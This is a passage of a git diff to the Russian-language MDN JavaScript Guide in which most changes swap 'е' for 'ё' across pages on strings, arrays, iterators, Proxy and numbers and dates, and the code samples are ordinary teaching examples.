        @@ -599,14 +599,14 @@ POST`http://foo.org/bar?a=${a}&b=${b}
         
         

        Экранирующие символы

        -

        Для символов, не перечисленных в вышеприведенной таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.

        +

        Для символов, не перечисленных в вышеприведённой таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.

        Вы можете вставить кавычку в строку, если поставите перед ней обратную косую черту. Это называется экранированием кавычек. Например:

        var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
         console.log(quote); // He read "The Cremation of Sam McGee" by R.W. Service.
        -

        Чтобы включить обратную косую черту в строку, перед ней нужно поставить еще одну обратную косую черту. Например:

        +

        Чтобы включить обратную косую черту в строку, перед ней нужно поставить ещё одну обратную косую черту. Например:

        var home = "c:\\temp"; // c:\temp
        diff --git a/files/ru/web/javascript/guide/index.html b/files/ru/web/javascript/guide/index.html index fcd22de953..52a44a45d9 100644 --- a/files/ru/web/javascript/guide/index.html +++ b/files/ru/web/javascript/guide/index.html @@ -110,7 +110,7 @@ translation_of: Web/JavaScript/Guide

        Гарантии
        Цепочка вызовов
        - Распространенные ошибки
        + Распространённые ошибки
        Композиция
        Порядок выполнения

        diff --git a/files/ru/web/javascript/guide/indexed_collections/index.html b/files/ru/web/javascript/guide/indexed_collections/index.html index ed49aa33bd..68a5001fdb 100644 --- a/files/ru/web/javascript/guide/indexed_collections/index.html +++ b/files/ru/web/javascript/guide/indexed_collections/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Guide/Indexed_collections

        Массив представляется собой упорядоченный набор значений, к которому вы ссылаетесь по имени и индексу. Допустим, у вас есть массив с именем emp, содержащий имена сотрудников и упорядоченный по номеру сотрудников. Следовательно, emp[1] будет представлять собой имя сотрудника номер один, emp[2] -- имя сотрудника номер два, и т.д.

        -

        Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределенный объект Array и его методы для работы с массивами в создаваемых приложениях. Объект Array содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения,  переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.

        +

        Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределённый объект Array и его методы для работы с массивами в создаваемых приложениях. Объект Array содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения,  переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.

        Создание массива

        @@ -37,7 +37,7 @@ arr.length = arrayLength;
        -

        Замечание: в примере выше arrayLength должно иметь числовой тип Number. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция arr.length вернет значение arrayLength, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернет ни одного элемента.

        +

        Замечание: в примере выше arrayLength должно иметь числовой тип Number. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция arr.length вернёт значение arrayLength, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернёт ни одного элемента.

        Массивы могут быть присвоены свойству нового или уже существующего объекта, как показано ниже:

        @@ -114,7 +114,7 @@ arr["length"]; // Вернёт число 3, так как это свойст

        Понимание length

        -

        На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство length всегда возвращает индекс последнего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчет ведется с 0, а не с 1. Из этого и следует, что свойство length всегда на единицу больше, чем наибольший индекс хранящийся в массиве:

        +

        На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство length всегда возвращает индекс последнего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчёт ведётся с 0, а не с 1. Из этого и следует, что свойство length всегда на единицу больше, чем наибольший индекс хранящийся в массиве:

        var cats = [];
         cats[30] = ['Dusty'];
        @@ -127,7 +127,7 @@ console.log(cats.length); // 31
         console.log(cats.length); // 3
         
         cats.length = 2;
        -console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удален
        +console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удалён
         
         cats.length = 0;
         console.log(cats); // выводит пустую строку; массив cats пуст
        @@ -138,7 +138,7 @@ console.log(cats); // выводит [undefined, undefined, undefined]
         
         

        Перебор содержимого массивов

        -

        Очень распространенная задача - это перебор всех элементов массива и обработка каждого элемента некоторой операцией. Вот наипростейший способ сделать это:

        +

        Очень распространённая задача - это перебор всех элементов массива и обработка каждого элемента некоторой операцией. Вот наипростейший способ сделать это:

        var colors = ['red', 'green', 'blue'];
         for (var i = 0; i < colors.length; i++) {
        @@ -146,7 +146,7 @@ for (var i = 0; i < colors.length; i++) {
         }
         
        -

        Если вам заранее известно, что ни один элемент массива не будет расценен как false при приведении к boolean — например, каждый элемент массива является DOM узлом, тогда вы можете блеснуть чуть более эффективным оборотом:

        +

        Если вам заранее известно, что ни один элемент массива не будет расценён как false при приведении к boolean — например, каждый элемент массива является DOM узлом, тогда вы можете блеснуть чуть более эффективным оборотом:

        var divs = document.getElementsByTagName('div');
         for (var i = 0, div; div = divs[i]; i++) {
        @@ -275,7 +275,7 @@ myArray.sort();
         // массив отсортирован myArray = [ "Fire", "Rain", "Wind" ]
         
        -

        Метод sort() может принимать в качестве аргумента callback-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трех значений (список вариантов значений смотрите после примера):

        +

        Метод sort() может принимать в качестве аргумента callback-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трёх значений (список вариантов значений смотрите после примера):

        Пример. Следующий код сортирует массив по последнему символу в строке:

        @@ -297,16 +297,16 @@ myArray.sort(sortFn);
        var a = ['a', 'b', 'a', 'b', 'a'];
         console.log(a.indexOf('b')); // выводит 1
        -// Попробуем еще раз, начиная с индекса последнего совпадения
        +// Попробуем ещё раз, начиная с индекса последнего совпадения
         console.log(a.indexOf('b', 2)); // выводит 3
         console.log(a.indexOf('z')); // выводит -1, потому что 'z' не найдено
         
        -

        {{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и indexOf, но поиск ведется в обратном порядке, с конца массива.

        +

        {{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и indexOf, но поиск ведётся в обратном порядке, с конца массива.

        var a = ['a', 'b', 'c', 'd', 'a', 'b'];
         console.log(a.lastIndexOf('b')); // выводит 5
        -// Попробуем еще раз, начиная с индекса, предшествующего индексу последнего совпадения
        +// Попробуем ещё раз, начиная с индекса, предшествующего индексу последнего совпадения
         console.log(a.lastIndexOf('b', 4)); // выводит 1
         console.log(a.lastIndexOf('z')); // выводит -1
         
        @@ -343,7 +343,7 @@ var a2 = [1, '2', 3]; console.log(a2.every(isNumber)); // выводит false
        -

        {{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов callback-функции вернет true хотя бы для одного элемента.

        +

        {{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов callback-функции вернёт true хотя бы для одного элемента.

        function isNumber(value){
           return typeof value == 'number';
        @@ -356,7 +356,7 @@ var a3 = ['1', '2', '3'];
         console.log(a3.some(isNumber)); // выводит false
         
        -

        Те из методов выше, что принимают callback-функцию в качестве аргумента, известны как методы итерации (iterative methods), потому что определенным образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый thisObject. Если этот аргумент присутствует, то его значение присваивается ключевому слову this в теле callback-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, this будет ссылаться на глобальный объект ({{domxref("window")}}).

        +

        Те из методов выше, что принимают callback-функцию в качестве аргумента, известны как методы итерации (iterative methods), потому что определённым образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый thisObject. Если этот аргумент присутствует, то его значение присваивается ключевому слову this в теле callback-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, this будет ссылаться на глобальный объект ({{domxref("window")}}).

        В действительности callback-функция вызывается с тремя аргументами. Первый аргумент - текущий элемент массива, второй - индекс этого элемента, и третий - ссылка на сам массив. Однако, в JavaScript, функции игнорируют любые аргументы, которые не перечислены в списке аргументов. Таким образом, нет ничего страшного в использовании функции с одним аргументом, такой как alert.

        @@ -367,7 +367,7 @@ var total = a.reduce(function(first, second, index) { return first + second; }, console.log(total) // выводит 60 -

        {{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и reduce(), но порядок обхода ведется от конца к началу.

        +

        {{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и reduce(), но порядок обхода ведётся от конца к началу.

        Методы reduce и reduceRight являются наименее очевидными методами объекта Array. Они должны использоваться в алгоритмах, которые рекурсивно совмещают два элемента массива, для сведения всей последовательности к одному значению.

        @@ -375,7 +375,7 @@ console.log(total) // выводит 60

        Массивы могут быть вложенными, то есть массив может содержать массивы в элементах. Используя эту возможность массивов JavaScript, можно построить многомерные массивы.

        -

        Следующий код создает двумерный массив:

        +

        Следующий код создаёт двумерный массив:

        var a = new Array(4);
         for (i = 0; i < 4; i++) {
        @@ -386,7 +386,7 @@ for (i = 0; i < 4; i++) {
         }
         
        -

        В этом примере создается массив со следующим содержимым:

        +

        В этом примере создаётся массив со следующим содержимым:

        Ряд 0: [0,0] [0,1] [0,2] [0,3]
         Ряд 1: [1,0] [1,1] [1,2] [1,3]
        @@ -428,11 +428,11 @@ for (i = 0; i < 4; i++) {
         
         

        ArrayBuffer

        -

        Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым ArrayBuffer напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.

        +

        Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым ArrayBuffer напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определённом формате, и даст доступ на запись и чтение его содержимого.

        Типизированные представления

        -

        Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как  Int8, Uint32, Float64 и так далее. Среди прочих существует специальное представление Uint8ClampedArray. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при Обработке данных изображения в Canvas.

        +

        Название типизированного представления массива говорит само за себя. Оно представляет массив в распространённых числовых форматах, таких как  Int8, Uint32, Float64 и так далее. Среди прочих существует специальное представление Uint8ClampedArray. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при Обработке данных изображения в Canvas.

        {{page("en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}

        diff --git a/files/ru/web/javascript/guide/introduction/index.html b/files/ru/web/javascript/guide/introduction/index.html index 07c31a7a05..825d8cf2d6 100644 --- a/files/ru/web/javascript/guide/introduction/index.html +++ b/files/ru/web/javascript/guide/introduction/index.html @@ -21,7 +21,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
        • Общее понимание Internet и World Wide Web ({{Glossary("WWW")}}).
        • Хорошее знание HyperText Markup Language ({{Glossary("HTML")}}).
        • -
        • Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведенными на странице по JavaScript.
        • +
        • Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведёнными на странице по JavaScript.

        Где можно найти информацию о JavaScript?

        @@ -40,7 +40,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript

        JavaScript — это кросс-платформенный, объектно-ориентированный скриптовый язык, являющийся небольшим и легковесным. Внутри среды исполнения JavaScript может быть связан с объектами данной среды и предоставлять программный контроль над ними.

        -

        JavaScript включает стандартную библиотеку объектов, например, Array, Date и Math, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путем добавления в него новых объектов, например:

        +

        JavaScript включает стандартную библиотеку объектов, например, Array, Date и Math, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путём добавления в него новых объектов, например:

        • JavaScript на стороне клиента расширяет ядро языка, предоставляя объекты для контроля браузера и его Document Object Model (DOM). Например, клиентские расширения позволяют приложению размещать элементы в форме HTML и обрабатывать пользовательские события, такие как щелчок мыши, ввод данных в форму и навигация по страницам.
        • @@ -53,7 +53,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript

          В отличие от системы скомпилированных классов Java, построенной на объявлениях, JavaScript поддерживает систему исполнения, основанную на небольшом числе типов данных, представляющих числовые, логические и строковые значения. JavaScript имеет объектную модель на базе прототипов вместо более общей модели на базе классов. Модель объектов на базе прототипов предоставляет динамическое наследование, т.е. то, что наследуется, может отличаться для отдельных объектов. JavaScript также поддерживает функции без каких-либо специальных декларативных требований. Функции могут быть свойствами объектов, выполняться как свободно-типизированные методы.

          -

          По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищенными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.

          +

          По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищёнными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.

          Java — это язык программирования, основанный на классах и предназначенный для быстрого выполнения и безопасности типов. Безопасность типов означает, например, что вы не можете привести тип integer к типу object reference или получить доступ к приватной памяти, изменяя байт-код Java. Ориентированная на классы модель Java означает, что программы состоят исключительно из классов и их методов. Наследование классов и строгая типизация в Java обычно требуют тесно связанные иерархии объектов. Эти требования делают программирование на Java более комплексным, чем программирование на JavaScript.

          @@ -77,8 +77,8 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript
      - - + +
      Таблица 3.7 Приоритет операторов
      Типы данных переменных должны быть объявлены (статическая типизация).
      Не может автоматически записывать на жесткий диск.Может автоматически записывать на жесткий диск.Не может автоматически записывать на жёсткий диск.Может автоматически записывать на жёсткий диск.
      @@ -89,7 +89,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript

      JavaScript стандартизирован европейской ассоциацией Ecma International, деятельность которой посвящена стандартизации информационных и коммуникационных систем (изначально ECMA являлся акронимом European Computer Manufacturers Association). Эта стандартизированная версия JavaScript, называемая ECMAScript, работает одинаково во всех приложениях, поддерживающих стандарт. Компании могут использовать открытый стандарт языка, чтобы разработать собственную реализацию JavaScript. Стандарт ECMAScript задокументирован в спецификации ECMA-262. Чтобы узнать больше информации о разных версиях JavaScript и ECMAScript, прочитайте Что нового в JavaScript.

      -

      Стандарт ECMA-262 также утвержден ISO (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на сайте Ecma International. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована World Wide Web Consortium (W3C). DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте Обзор JavaScript.

      +

      Стандарт ECMA-262 также утверждён ISO (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на сайте Ecma International. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована World Wide Web Consortium (W3C). DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте Обзор JavaScript.

      Документация JavaScript против спецификации ECMAScript

      @@ -97,7 +97,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript

      Документ ECMAScript не предназначен для помощи программистам в создании скриптов; чтобы получить информацию о том, как писать скрипты, используйте документацию JavaScript.

      -

      Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остается таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.

      +

      Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остаётся таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.

      Документация JavaScript описывает аспекты языка, являющиеся подходящими для JavaScript-программиста.

      @@ -128,7 +128,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript

      Web Console отлично подходит для выполнения одиночных строк JavaScript, но хотя вы можете выполнить и несколько строк, это не очень удобно, к тому же вы не можете сохранить ваш код, используя Web Console. Поэтому для более комплексных примеров Scratchpad является более подходящим инструментом.

      -

      Чтобы открыть Scratchpad(Shift+F4), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жесткий диск, а потом загружать их.

      +

      Чтобы открыть Scratchpad(Shift+F4), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жёсткий диск, а потом загружать их.

      Если вы выберете "Display", то код в вашем блокноте будет выполнен в браузере, а результат вставлен обратно в блокнот как комментарий:

      diff --git a/files/ru/web/javascript/guide/iterators_and_generators/index.html b/files/ru/web/javascript/guide/iterators_and_generators/index.html index ea05bf2965..b447156ea8 100644 --- a/files/ru/web/javascript/guide/iterators_and_generators/index.html +++ b/files/ru/web/javascript/guide/iterators_and_generators/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators ---
      {{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}
      -

      Обработка каждого элемента коллекции является весьма распространенной операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла for до map(), filter() и array comprehensions. Итераторы и генераторы внедряют концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения for...of циклов.

      +

      Обработка каждого элемента коллекции является весьма распространённой операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла for до map(), filter() и array comprehensions. Итераторы и генераторы внедряют концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения for...of циклов.

      Подробнее см. также:

      @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators

      Итераторы

      -

      Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая свое текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.

      +

      Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая своё текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.

      После создания, объект-итератор может быть явно использован, с помощью вызовов метода next().

      @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators } }
      -

      После инициализации, метод next() может быть вызван для поочередного доступа к парам ключ-значение в объекте:

      +

      После инициализации, метод next() может быть вызван для поочерёдного доступа к парам ключ-значение в объекте:

      var it = makeIterator(['yo', 'ya']);
       console.log(it.next().value); // 'yo'
      @@ -48,7 +48,7 @@ console.log(it.next().done);  // true

      Генераторы

      -

      В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьезное внимание поддержке внутреннего состояния. {{jsxref("Global_Objects/Generator","Генераторы","","true")}} предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.

      +

      В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьёзное внимание поддержке внутреннего состояния. {{jsxref("Global_Objects/Generator","Генераторы","","true")}} предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.

      Генераторы - это специальный тип функции, который работает как фабрика итераторов. Функция становится генератором, если содержит один или более {{jsxref("Operators/yield","yield")}} операторов и использует {{jsxref("Statements/function*","function*")}} синтаксис.

      @@ -67,7 +67,7 @@ console.log(it.next().value); // 2

      Итерируемые объекты

      -

      Объект является итерируемым, если в нем определен способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.

      +

      Объект является итерируемым, если в нем определён способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.

      Чтобы быть итерируемым, объект обязан реализовать метод @@iterator, что означает, что он (или один из объектов выше по цепочке прототипов) обязан иметь свойство с именем {{jsxref("Symbol.iterator")}}:

      @@ -152,7 +152,7 @@ console.log(sequence.next().value); // 3

      Можно заставить генератор выбросить исключение, вызвав его метод {{jsxref("Global_Objects/Generator/throw","throw()")}} и передав в качестве параметра значение исключения, которое должно быть выброшено. Это исключение будет выброшено из текущего приостановленного контекста генератора так, будто текущий приостановленный yield оператор являлся throw оператором.

      -

      Если yield оператор не встречается во время обработки выброшенного исключения, то исключение передается выше через вызов throw(), и результатом последующих вызовов next() будет свойство done равное true.

      +

      Если yield оператор не встречается во время обработки выброшенного исключения, то исключение передаётся выше через вызов throw(), и результатом последующих вызовов next() будет свойство done равное true.

      У генераторов есть метод  {{jsxref("Global_Objects/Generator/return","return(value)")}}, который возвращает заданное значение и останавливает работу генератора.

      diff --git a/files/ru/web/javascript/guide/meta_programming/index.html b/files/ru/web/javascript/guide/meta_programming/index.html index 49b3657c4c..d1d84977b8 100644 --- a/files/ru/web/javascript/guide/meta_programming/index.html +++ b/files/ru/web/javascript/guide/meta_programming/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Guide/Meta_programming

      Объекты Proxy

      -

      Введенный в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определенных операций. Например, получение свойства объекта:

      +

      Введённый в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определённых операций. Например, получение свойства объекта:

      var handler = {
         get: function(target, name) {
      @@ -28,7 +28,7 @@ p.a = 1;
       console.log(p.a, p.b); // 1, 42
       
      -

      Объект Proxy определяет target (в данном случае новый пустой объект) и handler - объект в котором реализована особая функция-ловушка get. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернет не undefined, а числовое значение 42.

      +

      Объект Proxy определяет target (в данном случае новый пустой объект) и handler - объект в котором реализована особая функция-ловушка get. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернёт не undefined, а числовое значение 42.

      Дополнительные примеры доступны в справочнике {{jsxref("Proxy")}}.

      @@ -38,7 +38,7 @@ console.log(p.a, p.b); // 1, 42
      {{jsxref("Global_Objects/Proxy/handler","handler","","true")}} (обработчик)
      -
      Объект - обертка, содержащий в себе функции-ловушки.
      +
      Объект - обёртка, содержащий в себе функции-ловушки.
      ловушки (traps)
      Методы, реализующие доступ к свойствам. В своей концепции они аналогичны методам перехвата(hooking) в операционных системах.
      цель (target)
      @@ -103,7 +103,7 @@ console.log(p.a, p.b); // 1, 42
    • Свойство не может быть описано как несуществующее, если оно существует как собственное свойство целевого объекта target и target не расширяем.
    • Свойство не может быть описано как существующее, если оно не существует как собственное свойство  целевого объекта target и target не расширяем.
    • Свойство не может быть описано как неизменяемое, если оно не существует как собственное свойство целевого объекта target или если оно существует и является изменяемым, собственным свойством целевого объекта target.
    • -
    • Значение возвращенное методом Object.getOwnPropertyDescriptor(target) может быть применено к целевому объекту через метод Object.defineProperty и это не вызовет ошибки.
    • +
    • Значение возвращённое методом Object.getOwnPropertyDescriptor(target) может быть применено к целевому объекту через метод Object.defineProperty и это не вызовет ошибки.
    @@ -117,7 +117,7 @@ console.log(p.a, p.b); // 1, 42
  • Нельзя добавить новое конфигурируемое свойство, или преобразовать существующее свойство в конфигурируемое, если оно не существует как собственное свойство целевого объекта или не является конфигурируемым.
  • Свойство не может быть неконфигурируемым, если целевой объект имеет соответствующее собственное, конфигурируемое свойство.
  • Если объект имеет свойство соответствующее создаваемому свойству, то Object.defineProperty(target, prop, descriptor) не вызовет ошибки.
  • -
  • В строгом режиме ("use strict";), если обработчик defineProperty вернет false, это вызовет ошибку {{jsxref("TypeError")}}.
  • +
  • В строгом режиме ("use strict";), если обработчик defineProperty вернёт false, это вызовет ошибку {{jsxref("TypeError")}}.
  • @@ -141,7 +141,7 @@ console.log(p.a, p.b); // 1, 42
    • Значение, возвращаемое для свойства, должно равняться значению соответствующего свойства целевого объекта, если это свойство является доступным только для чтения, неконфигурируемым.
    • -
    • Значение, возвращаемое для свойства, должно равняться undefined, если соответствующее свойство целевого объекта является неконфигурируемым и обернуто в геттер и сеттер, где сеттер равен undefined.
    • +
    • Значение, возвращаемое для свойства, должно равняться undefined, если соответствующее свойство целевого объекта является неконфигурируемым и обёрнуто в геттер и сеттер, где сеттер равен undefined.
    @@ -153,7 +153,7 @@ console.log(p.a, p.b); // 1, 42
    • Нельзя изменить значение свойства на значение, отличное от значения соответствующего свойства целевого объекта, если это свойство целевого объекта доступно только для чтения, и является неконфигурируемым.
    • -
    • Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обернуто в геттер и сеттер, где сеттер равен undefined.
    • +
    • Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обёрнуто в геттер и сеттер, где сеттер равен undefined.
    • В строгом режиме, возвращение false из обработчика set вызовет ошибку {{jsxref("TypeError")}}.
    @@ -203,7 +203,7 @@ console.log(p.a, p.b); // 1, 42

    Отзываемый Proxy

    -

    Метод {{jsxref("Proxy.revocable()")}} создает отзываемый объект Proxy. Такой прокси объект может быть отозван функцией revoke, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.

    +

    Метод {{jsxref("Proxy.revocable()")}} создаёт отзываемый объект Proxy. Такой прокси объект может быть отозван функцией revoke, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.

    var revocable = Proxy.revocable({}, {
       get: function(target, name) {
    @@ -233,7 +233,7 @@ typeof proxy;            // "object", для метода typeof нет лову
     
     

    Улучшенная функция apply

    -

    В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определенном контексте (с определенным this) и с параметрами, заданными в виде массива (или массива-подобного объекта).

    +

    В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определённом контексте (с определённым this) и с параметрами, заданными в виде массива (или массива-подобного объекта).

    Function.prototype.apply.call(Math.floor, undefined, [1.75]);
    diff --git a/files/ru/web/javascript/guide/numbers_and_dates/index.html b/files/ru/web/javascript/guide/numbers_and_dates/index.html index 09a2f8ee9e..038b00c440 100644 --- a/files/ru/web/javascript/guide/numbers_and_dates/index.html +++ b/files/ru/web/javascript/guide/numbers_and_dates/index.html @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Guide/Numbers_and_dates 0777 // обрабатывается как восьмеричное в нестрогой форме (511 в десятичной)
    -

    Обратите внимание, что десятичные литералы могут начинаться с нуля (0) за которым следует другая десятичная цифра, но если следующая за нулем цифра меньше 8, то число обрабатывается как восьмеричное.

    +

    Обратите внимание, что десятичные литералы могут начинаться с нуля (0) за которым следует другая десятичная цифра, но если следующая за нулём цифра меньше 8, то число обрабатывается как восьмеричное.

    Двоичные числа

    @@ -62,9 +62,9 @@ var negInfiniteNum = Number.NEGATIVE_INFINITY; var notANum = Number.NaN; -

    Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределенного глобального объекта Number. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. 

    +

    Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределённого глобального объекта Number. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. 

    -

    В следующей таблице приведен список свойств объекта Number.

    +

    В следующей таблице приведён список свойств объекта Number.

    @@ -139,7 +139,7 @@ var notANum = Number.NaN; - + @@ -280,7 +280,7 @@ var notANum = Number.NaN;

    Содержимым блока parameters в коде представленном выше, могут выступать любая из следующих конструкций:

      -
    • Пусто: создает текущую дату и время. Пример: today = new Date();.
    • +
    • Пусто: создаёт текущую дату и время. Пример: today = new Date();.
    • Текстовая строка, содержащая дату и время в следующем формате: "Месяц день, год часы:минуты:секунды". Например: var Xmas95 = new Date("December 25, 1995 13:30:00"). Если не указать секунды, минуты или часы, то их значение будет принято за 0.
    • Набор целочисленных значений для года, месяца и дня. Например: var Xmas95 = new Date(1995, 11, 25).
    • Набор целочисленных значений для года, месяца, дня, часов, минут и секунд. Например: var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);.
